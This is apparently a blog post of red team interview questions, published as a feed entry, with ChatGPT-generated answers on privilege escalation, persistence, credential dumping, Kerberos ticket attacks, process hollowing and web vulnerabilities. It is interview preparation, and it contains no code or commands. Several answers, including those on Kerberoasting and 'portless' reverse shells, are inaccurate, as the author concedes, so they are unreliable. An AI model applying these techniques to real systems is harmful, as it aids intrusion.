    &lt;p&gt;&lt;strong&gt;Short ticket lifetime&lt;/strong&gt;: Members of the Protected Users Group have a shorter ticket lifetime than non-protected users, which helps prevent attackers from using stolen tickets for extended periods of time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;No clear-text passwords&lt;/strong&gt;: Members of the Protected Users Group cannot have their passwords stored in clear text format in memory, which helps prevent attackers from extracting passwords from memory.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, the Protected Users Group provides enhanced security protections for sensitive accounts in an Active Directory environment and can help protect against various types of authentication attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-common-methods-of-privilege-escalation-for-windows-hosts-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What are some common methods of privilege escalation for Windows hosts? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;There are several common methods of privilege escalation for Windows hosts. Here are some of them:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;DLL Hijacking: An attacker can replace a legitimate DLL file with a malicious one and then wait for the system to load it, which can allow them to execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Unquoted Service Paths: Windows services are often configured with unquoted paths that can be exploited to run arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Registry Key Hijacking: An attacker can hijack registry keys used by Windows services to execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak File Permissions: An attacker can exploit weak file permissions to gain access to sensitive files, which can then be used to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak Service Permissions: An attacker can exploit weak service permissions to modify service settings and execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Kernel Vulnerabilities: An attacker can exploit kernel vulnerabilities to execute arbitrary code with kernel-level privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak Credentials: An attacker can exploit weak or default credentials to gain access to privileged accounts, which can then be used to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Windows Management Instrumentation (WMI): An attacker can use WMI to execute code with elevated privileges, which can then be used to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Task Scheduler: An attacker can exploit Task Scheduler to execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, these methods highlight the importance of maintaining good security practices, such as keeping systems up to date, implementing strong passwords and user permissions, and regularly performing security assessments and penetration testing to identify and address vulnerabilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-common-methods-of-privilege-escalation-for-linux-hosts-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What are some common methods of privilege escalation for Linux hosts? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;There are several common methods of privilege escalation for Linux hosts. Here are some of them:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak File Permissions: An attacker can exploit weak file permissions to gain access to sensitive files, which can then be used to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak Service Permissions: An attacker can exploit weak service permissions to modify service settings and execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting SUID Binaries: SUID (Set User ID) binaries can be used to escalate privileges, as they run with the permissions of the file owner rather than the user executing the file.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Kernel Vulnerabilities: An attacker can exploit kernel vulnerabilities to execute arbitrary code with kernel-level privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Weak Credentials: An attacker can exploit weak or default credentials to gain access to privileged accounts, which can then be used to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Insecure Configurations: Insecure configurations, such as weak sudo policies or misconfigured file permissions, can be exploited to escalate privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Buffer Overflows: Buffer overflows can be used to exploit vulnerabilities in software and execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploiting Symlinks: Symlinks can be used to exploit vulnerabilities in software and execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, these methods highlight the importance of maintaining good security practices, such as keeping systems up to date, implementing strong passwords and user permissions, and regularly performing security assessments and penetration testing to identify and address vulnerabilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-common-methods-of-maintaining-persistence-on-linux-hosts-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What are some common methods of maintaining persistence on Linux hosts? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;There are several common methods of maintaining persistence on Linux hosts. Here are some of them:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Cron Jobs&lt;/strong&gt;: An attacker can use a cron job to execute malicious code at regular intervals, allowing them to maintain access to the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Backdoors&lt;/strong&gt;: An attacker can install a backdoor, such as a hidden user account, to allow them to access the system even after they have been discovered and removed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;SUID Binaries&lt;/strong&gt;: SUID (Set User ID) binaries can be used to maintain persistence, as they run with the permissions of the file owner rather than the user executing the file.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;SSH Keys&lt;/strong&gt;: An attacker can add their own SSH key to the authorized_keys file, allowing them to maintain access to the system even if the original password is changed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Kernel Modules&lt;/strong&gt;: An attacker can install a malicious kernel module, which can be used to maintain access to the system even after a reboot.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Hidden Services&lt;/strong&gt;: An attacker can install a hidden service, such as a network listener, to allow them to maintain access to the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Rootkits&lt;/strong&gt;: An attacker can install a rootkit, which can be used to hide malicious activity and maintain access to the system.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, these methods highlight the importance of maintaining good security practices, such as monitoring system logs and file integrity, regularly performing security assessments and penetration testing, and implementing strong passwords and user permissions to prevent unauthorized access to the system.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-secretsdump-and-how-does-it-work-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is secretsdump, and how does it work? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Secretsdump is a command-line tool that is used for extracting plaintext passwords, hashes, and other sensitive information from the Security Account Manager (SAM) database and Active Directory (AD) domain controllers. It works by leveraging the SAMR and LSAD protocols to connect to the SAM database and Active Directory domain controllers, respectively, and extracting the relevant information.&lt;/p&gt;

&lt;p&gt;When used against a SAM database, secretsdump can extract password hashes for local user accounts, including those that are disabled, as well as the machine account password hash. It can also extract cached credentials and LSA secrets, which can be used to escalate privileges or move laterally within the network.&lt;/p&gt;

&lt;p&gt;When used against an Active Directory domain controller, secretsdump can extract the NTLM and Kerberos authentication hashes for all domain user accounts, as well as cached credentials and other sensitive information.&lt;/p&gt;

&lt;p&gt;One of the key advantages of using secretsdump is that it is a stealthy way of extracting sensitive information from target systems, as it does not require any files to be written to disk or any system modifications to be made. However, it should be noted that the use of secretsdump on systems that are not owned or authorized for testing can be illegal and may result in serious legal consequences.&lt;/p&gt;

&lt;hr /&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="ChatGpt" /><category term="Interview Questions" /><category term="Cybersecurity" /><summary type="html">Disclaimer: This blog post has it’s own pros and cons, which I will brief upon a bit. Title is pretty clear - that I have used ChatGPT (Default GPT-3.5 engine) to fetch the answers listed just below each of the Cybersecurity Interview questions here. Keep in mind that these questions are AI answered, so don’t expect outmost Human level sincerity while reading the answers. Pros: Answers are roughly short, crisp and concise. I am assuming if you are learning a whole paragraph answered by AI, mostly you’ll remember some good portion of it but not the whole, and the remaining parts could be reaclled actively so that it stays in your memory. Advantage is that you’ll quickly realize a repeating theme by the end of each answer which AI thinks is a “value-added” to the conclusion of answer, that’s alright (It helps in cementing the concepts and values in our subconscious mind). This blog is intended for people who struggle with the English language, for those who wish to save their time and quickly skim over important Interview questions, for those who know “hands-on” extensively but never gave thought to articulate the concepts which brings them a big disadvantage in the Interview, it gives false impression that you don’t know your stuff, but you actually do, you just find it hard to articulate what you’re thinking and present it in a decent manner. This blog is dedicated towards such Individual, if you’re relating to this situation where you go absolutely blank in an Interview when asked questions on your area of said expertise, this is for you! These are to help you take “baby-steps” that how you should approach to answer the questions in the first place. Cons: A big disadvantage is this - these ain’t coming from you, ain’t your notes or understanding of the subject. Next thing is that these answeres lack the Human level sincerity or “touch” to the answers, these answers don’t carry diagrams, additional concepts to aid you in the overall understanding of questions. If you wanna damage your inner Integrity then memorize these answers line-by-line and without doing any further research or hands-on to understand it better, and this will result in severe false impression that you actually know the concepts, which in reality you don’t. Beware - These questions are at this point pretty straightforward - Imagine you are asked situation and experience based questions, you’ll shoot yourself right there. So please read the pros aspect and realize for whom I am dedicating this blog to. My Stance : You read and understand the concepts, do hands-on practice, make notes out of it and keep excelling at it. Make mental farmeworks out of the mindmaps, diagrams, commands used in specific scenarios, host and target architecture etc… and most importantly keep actively recalling these notes which will eventually help you in the interview. My one single reason why I would use a resource like this is - saving myself some time in doing the analysis i.e., going out on search engine and doing research for the time being, just to skim over these topics quickly and keeping them in my sight, so I don’t miss them in the Interview. Apart from this reason I don’t have any particular purpose to adhere to a resource like this. Be wise and make good choices. Also, realize that each of these questions can demand a separate blog for themselves, I see some fallacy in the answers below, but I have kept them unaltered, just as a record for AI generated content, I have a firm faith that GPT4 can do much better, but since it has a cap limit of 25 per 3 hours I decided to move ahead with GPT-3.5 instead. I had received the Red Team Interview Questions from 0xP Sec’s Discord server, which you can positively join using this Invite link. With that being said, goodluck with your Interviews and studies. Buttons Download Red Team Interview Questions Offensive Security Interview Questions What is the difference between Red Teaming and Penetration Testing? The difference between Red Teaming and Penetration Testing is that while both are methods of testing the security of a system or network, they have different objectives and approaches. Penetration testing involves attempting to exploit vulnerabilities in a system or network in order to identify and report them to the organization’s security team, who can then address those vulnerabilities to improve their security posture. This type of testing is typically conducted by a third-party or independent security professional. On the other hand, Red Teaming involves a more comprehensive approach to testing the security of an organization. This may involve multiple attack vectors, including social engineering, physical security breaches, and cyber attacks. The goal of Red Teaming is to simulate a real-world attack scenario and test the organization’s ability to detect and respond to such an attack. This type of testing is typically conducted by a specialized team within the organization, and may be conducted over a longer period of time than a single Penetration Test. In summary, while both Penetration Testing and Red Teaming are methods of testing the security of a system or network, Penetration Testing is a focused and targeted approach to identifying and reporting vulnerabilities, while Red Teaming involves a more comprehensive and realistic approach to testing an organization’s overall security posture. Explain what happens when you connect to google.com, what happens in the background When you connect to google.com, several things happen in the background. Here’s a simplified overview of the process: Domain Name System (DNS) Lookup: Your web browser sends a request to a DNS server to resolve the domain name “google.com” into an IP address. The DNS server responds with the IP address of one of Google’s servers. Establishing a Connection: Your web browser sends a request to the Google server, asking to establish a connection. The Google server responds with a “syn-ack” message, acknowledging the request and agreeing to establish a connection. Sending a Request: Your web browser sends an HTTP request to the Google server, asking for a specific webpage or resource. Processing the Request: The Google server processes the request, generating a response that includes the requested webpage or resource, along with any other information such as cookies, cache directives, or security headers. Sending the Response: The Google server sends the HTTP response back to your web browser, which then renders the webpage or resource for you to view. Throughout this process, various security measures may be employed to protect the connection between your browser and the Google server. For example, the connection may be encrypted using SSL/TLS, and the server may use security headers such as Content Security Policy (CSP) or X-Frame-Options to protect against common web-based attacks such as cross-site scripting (XSS) or clickjacking. Additionally, Google may employ various anti-malware and anti-phishing measures to prevent malicious activity on their website. What is your favorite Offensive Security tool? How does it work? As an AI language model, I don’t have personal preferences or favorites, but I can certainly provide information on one of the most popular and powerful offensive security tools available: Metasploit. Metasploit is a penetration testing framework that allows security professionals to simulate attacks against computer systems in order to identify vulnerabilities and assess their security posture. It provides a wide range of exploit modules and payloads that can be used to test different types of vulnerabilities on various operating systems, including Windows, Linux, and macOS. One of the key features of Metasploit is its modular architecture, which allows users to easily customize and extend the framework to suit their needs. Users can create their own modules or modify existing ones, which makes it an incredibly versatile and flexible tool. Metasploit works by following a standard exploitation process that involves the following steps: Reconnaissance: This phase involves gathering information about the target system, such as its IP address, open ports, and installed services. Scanning: Once reconnaissance is complete, the next step is to scan the target system for vulnerabilities. Metasploit provides a variety of scanning tools that can help identify vulnerabilities on the target system. Exploitation: After vulnerabilities have been identified, the next step is to use Metasploit’s exploit modules to attempt to exploit those vulnerabilities and gain access to the target system. Post-Exploitation: Once access to the target system has been achieved, Metasploit provides a range of post-exploitation modules that can be used to maintain access, escalate privileges, and gather additional information. Overall, Metasploit is a powerful and versatile tool that can be used to simulate a wide range of attacks against computer systems. Its modular architecture and extensive library of modules make it a go-to tool for many security professionals. Explain the MITRE ATT&amp;amp;CK framework The MITRE ATT&amp;amp;CK framework is a comprehensive knowledge base of cyber adversary tactics, techniques, and procedures (TTPs). The framework is maintained by the MITRE Corporation and is designed to help organizations understand and classify cyber threats and to enhance their defenses against cyber attacks. ATT&amp;amp;CK stands for Adversarial Tactics, Techniques, and Common Knowledge. The framework provides a standardized vocabulary and a taxonomy of cyber attacks, with the goal of helping organizations to better understand the methods used by cyber attackers and to develop effective defensive strategies. The MITRE ATT&amp;amp;CK framework is organized into several layers, with each layer providing increasingly detailed information on adversary behavior. At the top level, the framework is divided into tactics, such as initial access, execution, persistence, and privilege escalation. These tactics are further divided into techniques, which are the specific methods or actions used by attackers to achieve their goals. For each technique, the MITRE ATT&amp;amp;CK framework provides a detailed description of the behavior, as well as information on how the technique can be detected and mitigated. The framework also includes information on the software tools and procedures that attackers commonly use, as well as guidance on how organizations can detect and respond to specific types of attacks. The MITRE ATT&amp;amp;CK framework is widely used by security professionals to better understand and classify cyber threats. It is also used by many security products and services to help organizations detect and prevent cyber attacks. By providing a common language and taxonomy for describing cyber threats, the framework helps to improve communication and collaboration among security professionals, and ultimately helps to enhance the overall security posture of organizations. What kind of reverse shell has no ports? The kind of reverse shell that has no ports is called a “portless” or “port-free” reverse shell. This type of reverse shell uses a technique called “port knocking” to establish a connection between the attacker’s machine and the target machine without opening a traditional network port. In a portless reverse shell, the attacker sends a series of specially crafted packets to the target machine, which acts as a “knock” on a specific sequence of closed ports. The target machine, upon receiving the correct sequence of knocks, will then establish a connection with the attacker’s machine, allowing the attacker to execute commands on the target machine and potentially gain remote access. Portless reverse shells are often used in scenarios where traditional network ports are blocked or firewalled, making it difficult to establish a reverse shell using a traditional approach. However, it is important to note that port knocking is not a foolproof method and can be detected and blocked by advanced security measures. Additionally, it is important to use portless reverse shells ethically and with explicit permission, as they can be used for malicious purposes. Difference between golden and silver tickets? Golden and Silver tickets are two types of Kerberos authentication attack techniques used by attackers to gain unauthorized access to Windows systems. While both types of tickets are used to impersonate users and gain access to resources, they differ in their purpose and the way they are obtained. Golden Ticket A Golden Ticket is a forged Kerberos Ticket-Granting Ticket (TGT) that is used to authenticate and impersonate any user in a domain. A Golden Ticket can be created by an attacker who has gained access to the domain controller’s KRBTGT account password hash, which is typically stored in memory on a domain controller. With this password hash, an attacker can create a TGT for any user in the domain, granting them unrestricted access to the network. Once a Golden Ticket is created, it can be used to access any resource on the network that the targeted user has permissions for. This makes it a powerful tool for attackers who are able to obtain the necessary credentials to create a Golden Ticket. Silver Ticket A Silver Ticket is a forged Kerberos service ticket that is used to authenticate and impersonate a specific service or computer account. Unlike a Golden Ticket, which can be used to impersonate any user in the domain, a Silver Ticket is limited to a specific service or computer account. A Silver Ticket is created by an attacker who has obtained the service account’s password hash or computer account password hash, which can be used to generate a forged service ticket. With a Silver Ticket, an attacker can access the specific service or computer account that the ticket is associated with, allowing them to perform actions and access resources associated with that account. In summary, while both Golden and Silver Tickets are used to impersonate users and gain unauthorized access to resources, Golden Tickets are more powerful as they can be used to impersonate any user in the domain, while Silver Tickets are limited to specific service or computer accounts. Explain Kerberos &amp;amp; Kerberoasting Kerberos is a network authentication protocol that is commonly used in Windows environments to provide secure authentication between client and server systems. It relies on a trusted third-party authentication server called a Key Distribution Center (KDC) to issue and manage authentication tickets. When a user attempts to authenticate with a Kerberos-enabled system, they provide their credentials to the KDC, which then issues a ticket granting ticket (TGT) that can be used to authenticate the user to other Kerberos-enabled services on the network. This process is known as the Kerberos Authentication Exchange. Kerberoasting is a technique used by attackers to exploit weaknesses in the way that Kerberos is implemented in Windows environments. Specifically, it targets service accounts that use Kerberos to authenticate with other services on the network. When a service account uses Kerberos authentication, it creates a service principal name (SPN) that is associated with the service it is running. When a user requests access to that service, the service sends a request to the KDC to obtain a Kerberos service ticket that allows it to authenticate the user. In Kerberoasting, an attacker targets these service accounts and requests a Kerberos service ticket on behalf of the service account from the KDC. They then use the ticket-granting service (TGS) to decrypt the ticket and obtain the service account’s password hash. This hash can then be used to perform a brute-force attack to crack the password and gain access to the service account. To mitigate the risk of Kerberoasting, it is important to follow best practices for securing service accounts, such as using strong passwords and restricting the accounts to the services and resources they require access to. Additionally, organizations can use tools like Microsoft’s Kerberos Detection Tool to identify vulnerable accounts and monitor for suspicious activity on the network. What is process hollowing? Process hollowing is a technique used by attackers to evade detection and execute malicious code on a system. The technique involves creating a new process in a suspended state and then replacing its memory image with the memory image of a legitimate process. The attacker then resumes the execution of the new process, which now runs the malicious code in the context of the legitimate process. Process hollowing is typically performed using the Windows API functions CreateProcess and NtUnmapViewOfSection. The attacker first creates a new process using the CreateProcess function, specifying the legitimate process they want to use as a template. They then use the NtUnmapViewOfSection function to unmap the memory image of the legitimate process from the new process’s memory space. Once the memory image of the legitimate process has been unmapped, the attacker can replace it with the memory image of their malicious code. This code can then be executed in the context of the legitimate process, allowing it to evade detection by security software that may be monitoring for suspicious behavior. Process hollowing is a powerful technique for attackers, as it allows them to execute malicious code in the context of a trusted and whitelisted process, making it difficult for security software to detect and stop the attack. To mitigate the risk of process hollowing, organizations can implement a variety of security measures, such as limiting access to the Windows API functions used in the attack, using security software that can detect and respond to process hollowing, and regularly monitoring systems for suspicious activity. What are the different type of HTTP response codes HTTP response codes are three-digit codes sent by a web server to a client in response to a request made by the client. They provide information about the status of the request and indicate whether the request was successful or not. Here are the different types of HTTP response codes: Informational responses (100-199): These response codes indicate that the server has received the request and is continuing to process it. They are typically used for informational purposes and do not contain a response body. Successful responses (200-299): These response codes indicate that the request was successful and the server was able to process it without errors. The most common successful response code is 200, which is used to indicate that the request was successful and a response body is included. Redirects (300-399): These response codes indicate that the requested resource has moved or changed location, and the client needs to take additional action to access it. The most common redirect response code is 301, which is used to indicate a permanent redirect. Client errors (400-499): These response codes indicate that the client made a mistake in the request, such as requesting a non-existent resource or using incorrect authentication credentials. The most common client error response code is 404, which is used to indicate that the requested resource could not be found. Server errors (500-599): These response codes indicate that an error occurred on the server while processing the request. They are typically caused by issues such as server overload or internal server errors. The most common server error response code is 500, which is used to indicate an internal server error. By understanding these different types of HTTP response codes, clients and servers can more effectively communicate and troubleshoot issues related to web requests and responses. What are common methods used to establish persistence on a machine? There are several methods that attackers can use to establish persistence on a compromised machine. Here are some of the most common: Registry Run Keys: Attackers can modify the Windows registry to create a new key that specifies a program to run each time the system starts up. This allows the attacker to ensure that their malware is executed every time the system boots. Scheduled Tasks: Attackers can create scheduled tasks that run their malware at specific times or intervals. These tasks can be configured to run with elevated privileges, making them difficult to detect and remove. Startup Folder: Attackers can place a shortcut to their malware in the Windows startup folder, which causes the program to run every time the user logs in. Service Creation: Attackers can create a new Windows service that runs their malware. The service can be configured to run with elevated privileges, making it difficult to detect and remove. Browser Extensions: Attackers can install malicious browser extensions that run in the background and provide persistent access to a compromised system. Rootkit Installation: Attackers can install a rootkit, which is a type of malware that hides its presence from security software and is difficult to detect and remove. These are just a few examples of the methods that attackers can use to establish persistence on a compromised machine. It is important to regularly monitor systems for signs of compromise and take proactive measures to prevent and mitigate potential attacks. Explain the differences between Symmetric and Asymmetric Encryption Symmetric and asymmetric encryption are two common methods of encrypting data to protect it from unauthorized access. Here are the differences between these two types of encryption: Symmetric Encryption In symmetric encryption, a single key is used for both encryption and decryption of data. This means that the same key is used to both scramble and unscramble the data, and the key must be kept secret to maintain the security of the encrypted data. Symmetric encryption is typically faster than asymmetric encryption, but it requires that both the sender and receiver of the encrypted data have access to the same secret key. Asymmetric Encryption In asymmetric encryption, also known as public-key encryption, two different keys are used for encryption and decryption. One key, the public key, is used for encrypting data, while the other key, the private key, is used for decrypting the data. The public key can be shared freely, allowing anyone to encrypt data that can only be decrypted by the holder of the private key. Asymmetric encryption is generally slower than symmetric encryption, but it allows for secure communication between two parties without the need to share a secret key. In summary, symmetric encryption uses a single secret key for both encryption and decryption, while asymmetric encryption uses a pair of keys, one public and one private, for encryption and decryption. Symmetric encryption is faster, but requires the secure distribution of a secret key. Asymmetric encryption is slower, but enables secure communication between two parties without the need to share a secret key. How often and when should Red Team operations be performed? The frequency of Red Team operations can vary depending on the organization’s security posture, budget, and resources. Generally, Red Team operations should be conducted on a regular basis to continuously evaluate and improve the organization’s security posture. A common approach is to conduct Red Team operations annually or biannually, in addition to regular security testing and vulnerability assessments. However, the frequency of Red Team operations can be increased if there are significant changes to the organization’s infrastructure, applications, or threat landscape. Red Team operations can also be scheduled around significant events, such as the launch of a new application, the implementation of a new security control, or the completion of a major infrastructure upgrade. This allows the organization to test the effectiveness of these changes and identify any vulnerabilities that may have been introduced. It is important to note that Red Team operations should not be the only security testing performed by an organization. Regular vulnerability assessments and penetration testing should also be conducted to identify and address any security weaknesses. By combining these different testing methods, organizations can gain a more comprehensive understanding of their security posture and take proactive measures to prevent and mitigate potential attacks. How would you pentest a network that has ports 21, 22 &amp;amp; 80 open? To perform a penetration test on a network that has ports 21, 22, and 80 open, there are several steps that a penetration tester may follow: Port Scanning: Use a tool like Nmap to scan the target network for additional open ports or services running on the open ports. This can help to identify potential attack vectors and vulnerabilities. Enumeration: Enumerate the services running on the open ports to identify the versions and configurations of the services. This can help to identify known vulnerabilities and attack vectors. Vulnerability Scanning: Conduct vulnerability scanning to identify known vulnerabilities associated with the services running on the open ports. This can help to prioritize attack vectors and identify potential entry points into the network. Exploitation: Attempt to exploit the identified vulnerabilities to gain access to the network. For example, if an outdated version of an FTP server is running on port 21, the penetration tester may attempt to exploit a known vulnerability in the FTP server to gain access to the network. Privilege Escalation: Once access to the network has been gained, attempt to escalate privileges to gain access to additional systems and data. Post-Exploitation: Conduct post-exploitation activities, such as installing backdoors or establishing persistence, to maintain access to the network and evade detection. Overall, the goal of a penetration test is to identify vulnerabilities and weaknesses in the target network and provide recommendations for improving the organization’s security posture. By following a structured approach and leveraging a range of tools and techniques, a penetration tester can effectively test the security of a network that has ports 21, 22, and 80 open. How do you prepare for a Red Team Engagement and/or Penetration test? Preparing for a Red Team Engagement or Penetration test involves several key steps to ensure the test is conducted effectively and efficiently. Here are some key steps that can be taken to prepare for these types of security assessments: Define Scope: Clearly define the scope of the engagement, including which systems, applications, and data are in scope and which are out of scope. This helps to ensure that the testing is focused and targeted. Identify Objectives: Identify the specific objectives of the engagement, such as identifying vulnerabilities in specific systems or testing the effectiveness of a particular security control. This helps to ensure that the testing is aligned with the organization’s overall security goals. Obtain Authorization: Obtain the necessary authorization from the organization’s management and stakeholders to conduct the engagement. This helps to ensure that the testing is conducted in a legal and ethical manner. Assemble the Team: Assemble a team of experienced Red Teamers or Penetration testers with a range of technical skills and knowledge. This ensures that the team is able to effectively identify and exploit vulnerabilities in the target environment. Collect Information: Collect as much information as possible about the target environment, including network diagrams, system configurations, and application architectures. This helps to ensure that the testing is conducted with a comprehensive understanding of the target environment. Test Planning: Develop a detailed testing plan that outlines the testing methodology, tools and techniques to be used, and testing timelines. This helps to ensure that the testing is conducted in a systematic and organized manner. Communication: Establish open communication channels with the organization’s stakeholders, IT teams, and other relevant parties to ensure that the testing is conducted without causing undue disruption to the target environment. By following these key steps, organizations can effectively prepare for Red Team Engagements or Penetration tests and ensure that the testing is conducted in a thorough, professional, and effective manner. Explain different types of Web Application vulnerabilities (IDOR, SQLi, XSS (the different types), Broken Access Control, etc).. and how you would remediate them Here are explanations of some common types of web application vulnerabilities and potential remediation strategies: Insecure Direct Object Reference (IDOR): An IDOR vulnerability occurs when an attacker can directly access or manipulate resources or data within a web application that should not be accessible to them, such as modifying data associated with another user. Remediation strategies for IDOR vulnerabilities include implementing access controls to limit access to sensitive resources and data and using indirect object references rather than direct object references. SQL Injection (SQLi): An SQLi vulnerability occurs when an attacker can inject malicious SQL commands into an application’s database, allowing them to manipulate, delete, or extract data. Remediation strategies for SQLi vulnerabilities include using parameterized queries, input validation, and limiting database user privileges. Cross-Site Scripting (XSS): XSS vulnerabilities occur when an attacker can inject malicious scripts into a web application, allowing them to steal user data or take control of the user’s browser. There are different types of XSS vulnerabilities, including stored, reflected, and DOM-based. Remediation strategies for XSS vulnerabilities include input validation, encoding user input, and using Content Security Policy (CSP) to prevent the execution of malicious scripts. Broken Access Control: Broken access control vulnerabilities occur when an attacker can access resources or data that should be restricted, such as sensitive user data or administrative functions. Remediation strategies for broken access control vulnerabilities include implementing proper authentication and authorization controls, limiting user privileges, and conducting regular access control audits. File Inclusion Vulnerabilities: File inclusion vulnerabilities occur when an attacker can manipulate a web application to include or execute malicious files on the server, such as executing arbitrary code or accessing sensitive files. Remediation strategies for file inclusion vulnerabilities include using whitelisting to restrict allowed file types, validating user input, and using secure coding practices. These are just a few examples of common web application vulnerabilities and potential remediation strategies. To effectively remediate vulnerabilities, it is important to regularly assess web applications for vulnerabilities, implement secure coding practices, and prioritize remediation efforts based on the severity and impact of the vulnerabilities. Describe the different XSS attacks and the differences between them Cross-Site Scripting (XSS) attacks are a type of web application vulnerability that occurs when an attacker is able to inject malicious scripts into a web page viewed by other users. There are several types of XSS attacks, each with its own characteristics and potential impacts. Here are some of the most common types of XSS attacks: Reflected XSS: Reflected XSS occurs when an attacker injects a script into a web page that is then reflected back to the user. This can occur when an application doesn’t properly validate user input, such as search queries or form data. Stored XSS: Stored XSS occurs when an attacker is able to inject a script into a web page that is then permanently stored on the server and served to all users who view the page. This can occur when an application allows user input to be stored on the server, such as user-generated content or comments. DOM-based XSS: DOM-based XSS occurs when an attacker is able to inject a script into the Document Object Model (DOM) of a web page, which can then execute in the user’s browser. This can occur when an application uses JavaScript to process user input without properly sanitizing or validating it. Blind XSS: Blind XSS occurs when an attacker is able to inject a script into a web page, but the script is not immediately executed by the server or reflected back to the user. This can occur when an application filters or modifies user input before it is processed, but the attacker is able to bypass these protections. The main differences between these types of XSS attacks are the methods used by attackers to inject malicious scripts and the potential impacts of the attacks. Reflected and Stored XSS attacks are more common and can lead to serious security risks, such as stealing user data or taking control of a user’s account. DOM-based and Blind XSS attacks are less common but can also be serious if not properly addressed. Remediation strategies for XSS attacks include input validation, encoding user input, and using Content Security Policy (CSP) to prevent the execution of malicious scripts. It is also important to regularly assess web applications for vulnerabilities and prioritize remediation efforts based on the severity and impact of the vulnerabilities. Explain the difference between encryption, hashing, and encoding Encryption, hashing, and encoding are methods used to protect data and ensure its integrity, confidentiality, and authenticity. While these terms are often used interchangeably, there are important differences between them. Encryption Encryption is the process of converting plaintext (readable data) into ciphertext (unreadable data) to protect it from unauthorized access. This is done by using a key and an encryption algorithm to scramble the plaintext into ciphertext that can only be deciphered with the same key and algorithm. The goal of encryption is to ensure confidentiality and prevent unauthorized access to sensitive information. Hashing Hashing is the process of converting data of any size into a fixed-size string of characters. This is done by using a hashing algorithm to generate a unique hash value for the data. The hash value is a one-way function, meaning that it cannot be reversed to recover the original data. The goal of hashing is to ensure data integrity and prevent unauthorized modifications. Encoding Encoding is the process of converting data from one format to another. This is done by using a specific encoding method that changes the representation of the data. Encoding does not provide any form of security or protection, as it can be easily reversed. In summary, encryption is used to protect data by converting it into an unreadable format, hashing is used to ensure data integrity by creating a unique fingerprint of the data, and encoding is used to change the representation of data without providing any form of security. Each of these methods serves a different purpose and should be used in accordance with specific security requirements. Explain the different types encryption algorithms Encryption algorithms are used to transform plain text into cipher text to protect the confidentiality of data. There are two main types of encryption algorithms: symmetric encryption and asymmetric encryption. Here’s an explanation of each type and some examples of commonly used encryption algorithms: Symmetric Encryption: Symmetric encryption uses a single key to both encrypt and decrypt data. The same secret key is used by both the sender and the receiver to encrypt and decrypt messages. Examples of symmetric encryption algorithms include: Advanced Encryption Standard (AES): A widely used encryption algorithm that uses a fixed-length block cipher to encrypt and decrypt data. Data Encryption Standard (DES): An older encryption algorithm that uses a 56-bit key to encrypt and decrypt data. Triple DES: An enhanced version of DES that uses three keys and three encryption operations to provide greater security. Asymmetric Encryption: 